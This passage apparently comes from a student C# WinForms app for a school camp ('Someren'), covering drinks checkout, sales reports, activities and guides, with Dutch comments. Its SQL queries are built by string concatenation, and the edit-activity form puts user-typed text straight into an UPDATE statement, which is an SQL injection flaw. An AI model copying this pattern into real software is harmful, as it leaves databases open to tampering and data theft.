newDescription = selectedAct.Description;
}
else
{
foreach (Activity act in activities)
{
if (txt_description.Text == act.Description)
{
MessageBox.Show("There already is an activity like this, please choose something else");
txt_description.Clear();
txt_ActDate.Clear();
txt_NumGuides.Clear();
txt_NumPart.Clear();
return;
}
}
newDescription = txt_description.Text;
}
if (txt_NumGuides.Text == "")
{
newNumGuides = selectedAct.NumberOfGuides;
}
else
{
newNumGuides = Int16.Parse(txt_NumGuides.Text);
}
if (txt_NumPart.Text == "")
{
newNumPart = selectedAct.NumberOfParticipants;
}
else
{
newNumPart = Int16.Parse(txt_NumPart.Text);
}
if (txt_ActDate.Text == "")
{
newDate = selectedAct.ActivityDate;
}
else
{
newDate = DateTime.Parse(txt_ActDate.Text);
}
string query = "UPDATE activities SET [description]='" + newDescription + "', numberOfGuides=" + newNumGuides + ", numberOfParticipants=" + newNumPart + ", [date]='" + newDate.ToString("yyyy/MM/dd") + "' WHERE activityID=" + selectedAct.ActivityID;
activityService.UpdateActivity(query);
this.Close();
}
private void EditActivity_Load(object sender, EventArgs e)
{
lbl_OldActDate.Text = selectedAct.ActivityDate.ToString("yyyy/MM/dd");
lbl_OldDescr.Text = selectedAct.Description;
lbl_OldNumGuides.Text = selectedAct.NumberOfGuides.ToString();
lbl_OldNumPart.Text = selectedAct.NumberOfParticipants.ToString();
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SqlClient;
using System.Data;
using System.Collections.ObjectModel;
using SomerenModel;
namespace SomerenDAL
{
public class StockDrinks_DAO : Base
{
public List<StockDrinks> Db_Get_All_Stock()
{
string query = "SELECT drinkID, [name], priceInVouchers, stock FROM drink GROUP BY drinkID, [name], stock, priceInVouchers, totalSold HAVING stock >= 1 AND priceInVouchers >= 1 AND NOT[name] = 'Water' AND NOT[name] = 'Sinas'AND NOT[name] = 'Kersensap'";
SqlParameter[] sqlParameters = new SqlParameter[0];
return ReadTables(ExecuteSelectQuery(query, sqlParameters));
}
private List<StockDrinks> ReadTables(DataTable dataTable)
{
List<StockDrinks> stock = new List<StockDrinks>();
foreach (DataRow dr in dataTable.Rows)
{
StockDrinks drink = new StockDrinks()
{
DrinkID = (Int16)dr["drinkID"],
Name = (String)dr["name"],
Price = (Int16)dr["priceInVouchers"],
Stock = (int)dr["stock"]
};
stock.Add(drink);
}
return stock;
}
public void Db_Update_Drinks(string query)
{
SqlParameter[] sqlParameters = new SqlParameter[0];
ExecuteEditQuery(query, sqlParameters);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SqlClient;
using System.Data;
using System.Collections.ObjectModel;
using SomerenModel;
namespace SomerenDAL
{
public class Order_DAO : Base
{
public List<Order> Db_Get_All_Orders(DateTime dateStart, DateTime dateEnd)
{
string query = "SELECT orderNummer, [order].drinkID, amount, [order].[date], studentNumber, drink.purchasePrice FROM [order] JOIN drink ON drink.drinkID = [order].drinkID WHERE [date] >= '" + dateStart.ToString("yyyy/MM/dd") + "' AND [date] <= '" + dateEnd.ToString("yyyy/MM/dd") + "'";
SqlParameter[] sqlParameters = new SqlParameter[0];
return ReadTables(ExecuteSelectQuery(query, sqlParameters));
}
private List<Order> ReadTables(DataTable dataTable)
{
List<Order> orders = new List<Order>();
foreach (DataRow dr in dataTable.Rows)
{
Order order = new Order()
{
OrderNumber = (int)dr["orderNummer"],
DrinkID = (Int16)dr["drinkID"],
Amount = (int)dr["amount"],
Date = (DateTime)dr["date"],
StudentNumber = (int)dr["studentnumber"],
Price = (float)dr["purchasePrice"]
};
orders.Add(order);
}
return orders;
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
namespace SomerenModel
{
public class Activity
{
public Int16 ActivityID { get; set; }
public String Description { get; set; }
public Int16 NumberOfGuides { get; set; }
public Int16 NumberOfParticipants { get; set; }
public DateTime ActivityDate { get; set; }
public override string ToString()
{
return $"{ActivityID} {Description}";
}
}
}
<file_sep>using SomerenLogic;
using SomerenModel;
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Collections;
using SomerenUI.Properties;
using System.IO;
using System.Data.SqlTypes;
namespace SomerenUI
{
public partial class SomerenUI : Form
{
SomerenLogic.Student_Service studService = new SomerenLogic.Student_Service();
SomerenLogic.StockDrinks_Service stockDrinksService = new SomerenLogic.StockDrinks_Service();
SomerenLogic.Order_Service orderService = new SomerenLogic.Order_Service();
SomerenLogic.Activity_Service activityService = new SomerenLogic.Activity_Service();
SomerenLogic.Guide_Service guideService = new SomerenLogic.Guide_Service();
SomerenLogic.Schedule_Service scheduleService = new SomerenLogic.Schedule_Service();
SomerenLogic.Teacher_Service teachService = new SomerenLogic.Teacher_Service();
//sorter
private ListViewColumnSorter lvwColumnSorter = new ListViewColumnSorter();
public SomerenUI()
{
InitializeComponent();
}
private void SomerenUI_Load(object sender, EventArgs e)
{
showPanel("Dashboard");
}
private void showPanel(string panelName)
{
if (panelName == "Dashboard")
{
// hide all other panels
pnl_Students.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
pnl_Sales.Hide();
pnl_Activities.Hide();
pnl_Activities.Hide();
pnl_Guides.Hide();
pnl_Schedule.Hide();
// show dashboard
pnl_Dashboard.Show();
img_Dashboard.Show();
}
else if (panelName == "Students")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
pnl_Sales.Hide();
pnl_Activities.Hide();
pnl_Guides.Hide();
pnl_Schedule.Hide();
// show students
pnl_Students.Show();
// fill the students listview within the students panel with a list of students
List<Student> studentList = studService.GetStudents();
//sorter
lvwColumnSorter = new ListViewColumnSorter();
listViewStudents.ListViewItemSorter = lvwColumnSorter;
// clear the listview before filling it again
listViewStudents.Clear();
listViewStudents.View = View.Details;
listViewStudents.GridLines = true;
listViewStudents.FullRowSelect = true;
// <NAME>
listViewStudents.Columns.Add("Student Number", 100);
listViewStudents.Columns.Add("First Name", 100);
listViewStudents.Columns.Add("Last Name", 100);
string[] students = new string[3];
ListViewItem itm;
foreach (SomerenModel.Student s in studentList)
{
students[0] = s.Number.ToString();
students[1] = s.FirstName;
students[2] = s.LastName;
itm = new ListViewItem(students);
listViewStudents.Items.Add(itm);
}
}
else if (panelName == "Teachers")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Students.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
pnl_Sales.Hide();
pnl_Activities.Hide();
pnl_Guides.Hide();
pnl_Schedule.Hide();
// show students
pnl_Teachers.Show();
// fill the students listview within the students panel with a list of students
List<Teacher> teacherList = teachService.GetTeachers();
//sorter
lvwColumnSorter = new ListViewColumnSorter();
listViewTeachers.ListViewItemSorter = lvwColumnSorter;
// clear the listview before filling it again
listViewTeachers.Clear();
listViewTeachers.View = View.Details;
listViewTeachers.GridLines = true;
listViewTeachers.FullRowSelect = true;
// Aanmaken van kollomen
listViewTeachers.Columns.Add("Teacher Number", 100);
listViewTeachers.Columns.Add("First Name", 100);
listViewTeachers.Columns.Add("Last Name", 100);
string[] teachers = new string[3];
ListViewItem itm;
foreach (SomerenModel.Teacher t in teacherList)
{
// Items toevoegen aan een lijst
teachers[0] = t.Number.ToString();
teachers[1] = t.FirstName;
teachers[2] = t.LastName;
itm = new ListViewItem(teachers);
listViewTeachers.Items.Add(itm);
}
}
else if (panelName == "Rooms")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Students.Hide();
pnl_Teachers.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
pnl_Sales.Hide();
pnl_Activities.Hide();
pnl_Guides.Hide();
pnl_Schedule.Hide();
// show rooms
pnl_Rooms.Show();
// fill the rooms listview within the rooms panel with a list of rooms
SomerenLogic.Room_Service roomService = new SomerenLogic.Room_Service();
List<Room> roomList = roomService.GetRooms();
//sorter
lvwColumnSorter = new ListViewColumnSorter();
listViewRooms.ListViewItemSorter = lvwColumnSorter;
// clear the listview before filling it again
listViewRooms.Clear();
listViewRooms.View = View.Details;
listViewRooms.GridLines = true;
listViewRooms.FullRowSelect = true;
// Aanmaken van kolommen
listViewRooms.Columns.Add("Room Number", 80);
listViewRooms.Columns.Add("Capacity", 80);
listViewRooms.Columns.Add("Room Type", 80);
string[] rooms = new string[3];
ListViewItem itm;
foreach (SomerenModel.Room r in roomList)
{
rooms[0] = r.Number.ToString();
rooms[1] = r.Capacity.ToString();
rooms[2] = r.Type;
itm = new ListViewItem(rooms);
listViewRooms.Items.Add(itm);
}
}
else if (panelName == "StockDrinks")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Students.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_CheckOut.Hide();
pnl_Sales.Hide();
pnl_Activities.Hide();
pnl_Guides.Hide();
pnl_Schedule.Hide();
// show stock
pnl_StockDrinks.Show();
// fill the listview with a list of the stock
List<StockDrinks> stockList = stockDrinksService.GetStock();
//sorter
lvwColumnSorter = new ListViewColumnSorter();
listViewStockDrinks.ListViewItemSorter = lvwColumnSorter;
// clear the listview first before filling it again
listViewStockDrinks.Clear();
// laten zien van de tabel
listViewStockDrinks.View = View.Details;
listViewStockDrinks.GridLines = true;
listViewStockDrinks.FullRowSelect = true;
// Aanmaken van kollomen
listViewStockDrinks.Columns.Add("ID");
listViewStockDrinks.Columns.Add("Name of drink", 100);
listViewStockDrinks.Columns.Add("Stock");
listViewStockDrinks.Columns.Add("Voucher price", 80);
string[] drinks = new string[4];
ImageList imgs = new ImageList();
imgs.ImageSize = new Size(20, 20);
String[] paths = { };
paths = Directory.GetFiles("..\\..\\Resources");
foreach (String path in paths)
{
imgs.Images.Add(Image.FromFile(path));
}
listViewStockDrinks.SmallImageList = imgs;
foreach (SomerenModel.StockDrinks sd in stockList)
{
drinks[0] = sd.DrinkID.ToString();
drinks[1] = sd.Name;
drinks[2] = sd.Stock.ToString();
drinks[3] = sd.Price.ToString();
if (sd.Stock <= 10)
{
listViewStockDrinks.Items.Add(new ListViewItem(drinks) { ImageIndex = 2 });
}
else
{
listViewStockDrinks.Items.Add(new ListViewItem(drinks) { ImageIndex = 1 });
}
}
}
else if (panelName == "CheckOut")
{
// hide all other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Students.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
btn_Buy.Hide();
pnl_Sales.Hide();
pnl_Activities.Hide();
pnl_Guides.Hide();
pnl_Schedule.Hide();
// show checkout
pnl_CheckOut.Show();
// lijsten
List<Student> studentList = studService.GetStudents();
List<StockDrinks> drinkList = stockDrinksService.GetStock();
//sorter
lvwColumnSorter = new ListViewColumnSorter();
listViewStudentsCO.ListViewItemSorter = lvwColumnSorter;
// listview students
listViewStudentsCO.Clear();
listViewStudentsCO.View = View.Details;
listViewStudentsCO.GridLines = true;
listViewStudentsCO.CheckBoxes = true;
listViewStudentsCO.Columns.Add("Student Number", 80);
listViewStudentsCO.Columns.Add("First Name", 80);
listViewStudentsCO.Columns.Add("Last Name", 100);
listViewStudentsCO.Columns.Add("Vouchers", 50);
string[] students = new string[4];
ListViewItem itm;
foreach (SomerenModel.Student s in studentList)
{
students[0] = s.Number.ToString();
students[1] = s.FirstName;
students[2] = s.LastName;
students[3] = s.Vouchers.ToString();
itm = new ListViewItem(students);
listViewStudentsCO.Items.Add(itm);
}
//sorter
lvwColumnSorter = new ListViewColumnSorter();
listViewDrinksCO.ListViewItemSorter = lvwColumnSorter;
// listview drinks
listViewDrinksCO.Clear();
listViewDrinksCO.View = View.Details;
listViewDrinksCO.GridLines = true;
listViewDrinksCO.CheckBoxes = true;
listViewDrinksCO.Columns.Add("Name", 100);
listViewDrinksCO.Columns.Add("Price", 70);
listViewDrinksCO.Columns.Add("Stock", 70);
string[] drinks = new string[3];
foreach (SomerenModel.StockDrinks d in drinkList)
{
drinks[0] = d.Name;
drinks[1] = d.Price.ToString();
drinks[2] = d.Stock.ToString();
itm = new ListViewItem(drinks);
listViewDrinksCO.Items.Add(itm);
}
}
else if (panelName == "Sales")
{
// Hide other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
pnl_Students.Hide();
pnl_Activities.Hide();
pnl_Guides.Hide();
pnl_Schedule.Hide();
//show panel
pnl_Sales.Show();
// Clear the listView first
listViewSales.Clear();
listViewSales.View = View.Details;
// Aanmaken van kolommen
listViewSales.Columns.Add("Total sold drinks", 100);
listViewSales.Columns.Add("Revenue", 100);
listViewSales.Columns.Add("Customer count", 100);
}
else if (panelName == "Activities")
{
// Hide other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
pnl_Students.Hide();
pnl_Sales.Hide();
pnl_Guides.Hide();
pnl_Schedule.Hide();
//show panel
pnl_Activities.Show();
//sorter
lvwColumnSorter = new ListViewColumnSorter();
listViewActivities.ListViewItemSorter = lvwColumnSorter;
//Vraag de activiteiten op uit de database
List<Activity> activityList = activityService.GetActivities();
// listview activities
listViewActivities.Clear();
listViewActivities.View = View.Details;
listViewActivities.GridLines = true;
listViewActivities.CheckBoxes = true;
listViewActivities.Columns.Add("ID", 70);
listViewActivities.Columns.Add("Description", 160);
listViewActivities.Columns.Add("Guides", 70);
listViewActivities.Columns.Add("Participants", 70);
string[] activity = new string[4];
ListViewItem itm;
foreach (SomerenModel.Activity d in activityList)
{
activity[0] = d.ActivityID.ToString();
activity[1] = d.Description;
activity[2] = d.NumberOfGuides.ToString();
activity[3] = d.NumberOfParticipants.ToString();
itm = new ListViewItem(activity);
listViewActivities.Items.Add(itm);
}
}
else if (panelName == "Schedule")
{
// Hide other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
pnl_Students.Hide();
pnl_Sales.Hide();
pnl_Activities.Hide();
btn_Buy.Hide();
pnl_Guides.Hide();
//show panel
pnl_Schedule.Show();
List<Schedule> scheduleList = scheduleService.GetSchedule();
// clear the listview before filling it again
listViewSchedule.Clear();
listViewSchedule.View = View.Details;
listViewSchedule.GridLines = true;
listViewSchedule.FullRowSelect = true;
// Aanmaken van kolommen
listViewSchedule.Columns.Add("Time", 75);
listViewSchedule.Columns.Add("Monday", 200);
listViewSchedule.Columns.Add("Tuesday", 250);
listViewSchedule.Columns.Add("Wednesday", 100);
listViewSchedule.Columns.Add("Thursday", 100);
listViewSchedule.Columns.Add("Friday", 100);
string[] schedule = new string[6];
ListViewItem itm;
foreach (SomerenModel.Schedule s in scheduleList)
{
schedule[0] = s.time;
schedule[1] = s.monday;
schedule[2] = s.tuesday;
schedule[3] = s.Wednesday;
schedule[4] = s.thursday;
schedule[5] = s.Friday;
itm = new ListViewItem(schedule);
listViewSchedule.Items.Add(itm);
}
}
else if (panelName == "Guides")
{
// Hide other panels
pnl_Dashboard.Hide();
img_Dashboard.Hide();
pnl_Teachers.Hide();
pnl_Rooms.Hide();
pnl_StockDrinks.Hide();
pnl_CheckOut.Hide();
pnl_Students.Hide();
pnl_Sales.Hide();
pnl_Activities.Hide();
btn_Buy.Hide();
pnl_Schedule.Hide();
//show panel
pnl_Guides.Show();
//sorter
lvwColumnSorter = new ListViewColumnSorter();
listViewGuides.ListViewItemSorter = lvwColumnSorter;
//Vraag de activiteiten op uit de database
List<Guide> guideList = guideService.GetGuides();
List<Teacher> teacherList = teachService.GetTeachers();
List<Activity> activityList = activityService.GetActivities();
//vul de combobox met alle teachers waar je uit kunt kiezen om toe te voegen
cmb_Teachers.Items.Clear();
foreach (Teacher teacher in teacherList)
{
cmb_Teachers.Items.Add(teacher);
}
cmb_Teachers.SelectedIndex = 0;
//vul de combobox met activities
cmb_Activities.Items.Clear();
foreach (Activity act in activityList)
{
cmb_Activities.Items.Add(act);
}
cmb_Activities.SelectedIndex = 0;
// listview activities
listViewGuides.Clear();
listViewGuides.View = View.Details;
listViewGuides.GridLines = true;
listViewGuides.CheckBoxes = true;
listViewGuides.Columns.Add("ActivityID", 70);
listViewGuides.Columns.Add("StaffNumber", 70);
string[] guide = new string[2];
ListViewItem itm;
foreach (SomerenModel.Guide d in guideList)
{
guide[0] = d.ActivityID.ToString();
guide[1] = d.StaffNumber.ToString();
itm = new ListViewItem(guide);
listViewGuides.Items.Add(itm);
}
}
}
// Menu item clicks
private void dashboardToolStripMenuItem_Click(object sender, EventArgs e)
{
//
}
private void exitToolStripMenuItem_Click(object sender, EventArgs e)
{
Application.Exit();
}
private void dashboardToolStripMenuItem1_Click(object sender, EventArgs e)
{
showPanel("Dashboard");
}
private void label1_Click(object sender, EventArgs e)
{
}
private void img_Dashboard_Click(object sender, EventArgs e)
{
MessageBox.Show("What happens in Someren, stays in Someren!");
}
private void studentsToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("Students");
}
private void LecturersToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("Teachers");
}
private void RoomsToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("Rooms");
}
private void StockDrinksToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("StockDrinks");
}
private void FinanceToolStripMenuItem_Click(object sender, EventArgs e)
{
//
}
private void CheckOutToolStripMenuItem_Click_1(object sender, EventArgs e)
{
showPanel("CheckOut");
}
private void SalesToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("Sales");
}
private void ActivitiesToolStripMenuItem_Click(object sender, EventArgs e)
{
//
}
private void ActivitiesToolStripMenuItem1_Click(object sender, EventArgs e)
{
showPanel("Activities");
}
private void ScheduleToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("Schedule");
}
private void GuidesToolStripMenuItem_Click(object sender, EventArgs e)
{
showPanel("Guides");
}
// buttons clicks en methodes
private void Btn_Calculate_Click(object sender, EventArgs e)
{
btn_Buy.Hide();
int totalPrice = 0;
List<StockDrinks> drinks = stockDrinksService.GetStock();
// geselecteerde student en dranken checken
if (CheckSelectedStudents() && CheckSelectedDrinks())
{
btn_Buy.Show();
}
// geselecteerde drankjes
CalcTotalPrice(ref totalPrice, drinks);
// totaal prijs laten zien
lbl_CalcTotal.Text = totalPrice.ToString();
}
private void Btn_Buy_Click(object sender, EventArgs e)
{
List<StockDrinks> drinks = stockDrinksService.GetStock();
// geselecteerde student en drankjes bepalen
Student student = GetSelectedStudent();
// gekochte drankjes wegschrijven naar de databse
string drinkName = "";
for (int i = 0; i < listViewDrinksCO.Items.Count; i++)
{
drinkName = listViewDrinksCO.Items[i].Text;
if (listViewDrinksCO.Items[i].Checked == true)
{
foreach (StockDrinks drink in drinks)
{
if (drinkName == drink.Name)
{
int newStock = drink.Stock - 1;
int drankId = drink.DrinkID;
int sold = drink.Stock - newStock;
DateTime today = DateTime.Now;
string queryUpdate = "UPDATE drink SET stock=" + newStock + " WHERE drinkID=" + drankId;
string queryAdd = "INSERT INTO [order] (drinkID, amount, date, studentnumber) VALUES (" + drankId + ", " + sold + ", '" + today.ToString("yyyy/MM/dd") + "', " + student.Number + ")";
stockDrinksService.UpdateDrinks(queryUpdate);
stockDrinksService.UpdateDrinks(queryAdd);
}
}
}
}
// totale prijs berekenen
int totalPrice = 0;
CalcTotalPrice(ref totalPrice, drinks);
// geselecteerde student wegschrijven naar de database
if (student.Vouchers < totalPrice)
{
MessageBox.Show("Selected student does not have enough vouchers to buy this");
return;
}
else
{
int newVouchers = student.Vouchers - totalPrice;
string queryUpdStud = "UPDATE student SET vouchers=" + newVouchers + "WHERE studentNumber=" + student.Number;
studService.UpdateStudent(queryUpdStud);
}
showPanel("CheckOut");
}
private bool CheckSelectedStudents()
{
int count = 0;
for (int i = 0; i < listViewStudentsCO.Items.Count; i++)
{
if (listViewStudentsCO.Items[i].Checked == true)
{
count++;
if (count > 1)
{
MessageBox.Show("Only select 1 student!");
return false;
}
}
}
return true;
}
private bool CheckSelectedDrinks()
{
int count = 0;
for (int i = 0; i < listViewDrinksCO.Items.Count; i++)
{
if (listViewDrinksCO.Items[i].Checked == true)
{
count++;
}
}
if (count < 1)
{
MessageBox.Show("Please select a drink");
return false;
}
return true;
}
private void CalcTotalPrice(ref int totalPrice, List<StockDrinks> drinks)
{
string drinkName = "";
for (int i = 0; i < listViewDrinksCO.Items.Count; i++)
{
drinkName = listViewDrinksCO.Items[i].Text;
if (listViewDrinksCO.Items[i].Checked == true)
{
foreach (StockDrinks drink in drinks)
{
if (drinkName == drink.Name)
{
totalPrice += drink.Price;
}
}
}
}
}
private Student GetSelectedStudent()
{
List<Student> students = studService.GetStudents();
string studentNumber = "";
Student selectedStudent = new Student();
for (int i = 0; i < listViewStudentsCO.Items.Count; i++)
{
studentNumber = listViewStudentsCO.Items[i].Text;
if (listViewStudentsCO.Items[i].Checked == true)
{
foreach (Student student in students)
{
if (studentNumber == student.Number.ToString())
{
selectedStudent = student;
}
}
}
}
return selectedStudent;
}
private void Btn_ShowSales_Click(object sender, EventArgs e)
{
List<Order> orders = GetAllOrdersBetweenDates();
//Berekenen van de totale omzet
float totalPrice = 0;
foreach (Order order in orders)
{
totalPrice += order.Price;
}
//Het aantal klanten die iets heeft besteld
List<int> alreadySeen = new List<int>();
int totalCustomers = 0;
foreach (Order order in orders)
{
if (!alreadySeen.Contains(order.StudentNumber))
{
totalCustomers++;
alreadySeen.Add(order.StudentNumber);
}
}
int customerAmount = totalCustomers;
float omzet = totalPrice;
int afzet = orders.Count();
string[] sales = new string[3];
sales[0] = afzet.ToString();
sales[1] = omzet.ToString();
sales[2] = customerAmount.ToString();
listViewSales.Items.Add(new ListViewItem(sales));
}
private List<Order> GetAllOrdersBetweenDates()
{
List<Order> orders = new List<Order>();
DateTime dateStart = monthCalendarStart.SelectionRange.Start;
DateTime dateEnd = monthCalendarEnd.SelectionRange.End;
//Checkt of er een goede datum is ingevoerd
if (dateStart >= dateEnd)
{
MessageBox.Show("Please make sure the START date is before the END date!");
}
else if (dateEnd > DateTime.Today)
{
MessageBox.Show("Please make sure the END date is not in the future");
}
else
{
orders = orderService.GetOrders(dateStart, dateEnd);
}
return orders;
}
private void btn_AddActivity_Click_1(object sender, EventArgs e)
{
AddingActivities form = new AddingActivities();
form.ShowDialog();
showPanel("Activities");
}
private void Btn_DeleteActivity_Click(object sender, EventArgs e)
{
List<Activity> activities = activityService.GetActivities();
string activityID;
if (MessageBox.Show("Are you sure you want to delete this activity/these activities?", "Message", MessageBoxButtons.YesNo) == DialogResult.Yes)
{
for (int i = 0; i < listViewActivities.Items.Count; i++)
{
if (listViewActivities.Items[i].Checked)
{
activityID = listViewActivities.Items[i].Text;
foreach (Activity act in activities)
{
if (activityID == act.ActivityID.ToString())
{
string query = "DELETE FROM activities WHERE activityID=" + act.ActivityID;
activityService.UpdateActivity(query);
}
}
listViewActivities.Items.Remove(listViewActivities.Items[i]);
}
}
}
}
private void Btn_EditActivity_Click(object sender, EventArgs e)
{
int count = 0;
for (int i = 0; i < listViewActivities.Items.Count; i++)
{
if (listViewActivities.Items[i].Checked)
{
count++;
if (count > 1)
{
MessageBox.Show("Only select 1 activity!");
}
}
}
if (count == 0)
{
MessageBox.Show("Select an activity to edit it");
return;
}
Activity selectedAct = GetSelectedAct();
EditActivity form = new EditActivity(selectedAct);
form.ShowDialog();
showPanel("Activities");
}
private Activity GetSelectedAct()
{
List<Activity> activities = activityService.GetActivities();
string actID = "";
Activity selectedAct = new Activity();
for (int i = 0; i < listViewActivities.Items.Count; i++)
{
actID = listViewActivities.Items[i].Text;
if (listViewActivities.Items[i].Checked == true)
{
foreach (Activity act in activities)
{
if (actID == act.ActivityID.ToString())
{
selectedAct = act;
}
}
}
}
return selectedAct;
}
private void btn_AddGuide_Click(object sender, EventArgs e)
{
// geselecteerde docent uit van de combobox guide maken
Teacher teacher = (Teacher)cmb_Teachers.SelectedItem;
// geselecteerde activity uit combobox
Activity activity = (Activity)cmb_Activities.SelectedItem;
string query = "INSERT INTO guides (staffNumber, activityID) VALUES (" + teacher.Number + ", " + activity.ActivityID + ")";
guideService.UpdateGuide(query);
showPanel("Guides");
}
private void btn_DeleteGuide_Click(object sender, EventArgs e)
{
List<Guide> guides = guideService.GetGuides();
string guideID;
if (MessageBox.Show("Are you sure you want to delete this guide/these guides?", "Message", MessageBoxButtons.YesNo) == DialogResult.Yes)
{
for (int i = 0; i < listViewGuides.Items.Count; i++)
{
if (listViewGuides.Items[i].Checked)
{
guideID = listViewGuides.Items[i].SubItems[1].Text;
foreach (Guide guide in guides)
{
if (guideID == guide.StaffNumber.ToString())
{
// guide verwijderen uit guide tabel
string queryDel = "DELETE FROM guides WHERE staffnumber=" + guide.StaffNumber;
guideService.UpdateGuide(queryDel);
}
}
listViewGuides.Items.Remove(listViewGuides.Items[i]);
}
}
}
}
private void btn_EditGuide_Click(object sender, EventArgs e)
{
int count = 0;
for (int i = 0; i < listViewGuides.Items.Count; i++)
{
if (listViewGuides.Items[i].Checked)
{
count++;
if (count > 1)
{
MessageBox.Show("Only select 1 guide!");
}
}
}
if (count == 0)
{
MessageBox.Show("Select an guide to edit it");
return;
}
Guide selectedGuide = GetSelectedGuide();
EditGuide form = new EditGuide(selectedGuide);
form.ShowDialog();
showPanel("Guides");
}
private Guide GetSelectedGuide()
{
List<Guide> guides = guideService.GetGuides();
string staffID = "";
Guide selectedGuide = new Guide();
for (int i = 0; i < listViewGuides.Items.Count; i++)
{
staffID = listViewGuides.Items[i].SubItems[1].Text;
if (listViewGuides.Items[i].Checked == true)
{
foreach (Guide guide in guides)
{
if (staffID == guide.StaffNumber.ToString())
{
selectedGuide = guide;
}
}
}
}
return selectedGuide;
}
//OnClick events voor de column sorter
private void ListViewActivities_ColumnClick(object sender, ColumnClickEventArgs e)
{
OrderListView(e, listViewActivities);
}
private void ListViewGuides_ColumnClick(object sender, ColumnClickEventArgs e)
{
OrderListView(e, listViewGuides);
}
private void ListViewDrinksCO_ColumnClick(object sender, ColumnClickEventArgs e)
{
OrderListView(e, listViewDrinksCO);
}
private void ListViewStudentsCO_ColumnClick(object sender, ColumnClickEventArgs e)
{
OrderListView(e, listViewStudentsCO);
}
private void ListViewRooms_ColumnClick(object sender, ColumnClickEventArgs e)
{
OrderListView(e, listViewRooms);
}
private void ListViewStockDrinks_ColumnClick(object sender, ColumnClickEventArgs e)
{
OrderListView(e, listViewStockDrinks);
}
private void ListViewStudents_ColumnClick(object sender, ColumnClickEventArgs e)
{
OrderListView(e, listViewStudents);
}
private void ListViewTeachers_ColumnClick(object sender, ColumnClickEventArgs e)
{
OrderListView(e, listViewTeachers);
}
private void OrderListView(ColumnClickEventArgs e, ListView lv)
{
// Determine if clicked column is already the column that is being sorted.
if (e.Column == lvwColumnSorter.SortColumn)
{
// Reverse the current sort direction for this column.
if (lvwColumnSorter.Order == SortOrder.Ascending)
lvwColumnSorter.Order = SortOrder.Descending;
else
lvwColumnSorter.Order = SortOrder.Ascending;
}
else
{
// Set the column number that is to be sorted; default to ascending.
lvwColumnSorter.SortColumn = e.Column;
lvwColumnSorter.Order = SortOrder.Ascending;
}
lv.Sort();
}
}
}<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SqlClient;
using System.Data;
using System.Collections.ObjectModel;
using SomerenModel;
namespace SomerenDAL
{
public class Guide_DAO : Base
{
public List<Guide> Db_Get_All_Guides()
{
string query = "SELECT staffNumber, activityID FROM guides";
SqlParameter[] sqlParameters = new SqlParameter[0];
return ReadTables(ExecuteSelectQuery(query, sqlParameters));
}
private List<Guide> ReadTables(DataTable dataTable)
{
List<Guide> guides = new List<Guide>();
foreach (DataRow dr in dataTable.Rows)
{
Guide guide = new Guide()
{
ActivityID = (Int16)dr["activityID"],
StaffNumber = (int)dr["staffNumber"]
};
guides.Add(guide);
}
return guides;
}
public void Db_Update_Guide(string query)
{
SqlParameter[] sqlParameters = new SqlParameter[0];
ExecuteEditQuery(query, sqlParameters);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Data.SqlClient;
using System.Data;
using System.Collections.ObjectModel;
using SomerenModel;
namespace SomerenDAL
{
public class Activity_DAO : Base
{
public List<Activity> Db_Get_All_Activities()
{
string query = "SELECT activityID, [description], numberOfGuides, numberOfParticipants, [date] FROM activities";
SqlParameter[] sqlParameters = new SqlParameter[0];
return ReadTables(ExecuteSelectQuery(query, sqlParameters));
}
private List<Activity> ReadTables(DataTable dataTable)
{
List<Activity> activities = new List<Activity>();
foreach (DataRow dr in dataTable.Rows)
{
Activity activity = new Activity()
{
ActivityID = (Int16)dr["activityID"],
Description = (String)dr["description"],
NumberOfGuides = (Int16)dr["numberOfGuides"],
NumberOfParticipants = (Int16)dr["numberOfParticipants"],
ActivityDate = (DateTime)dr["date"]
};
activities.Add(activity);
}
return activities;
}
public void Db_Update_Activity(string query)
{
SqlParameter[] sqlParameters = new SqlParameter[0];
ExecuteEditQuery(query, sqlParameters);
}
}
}
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
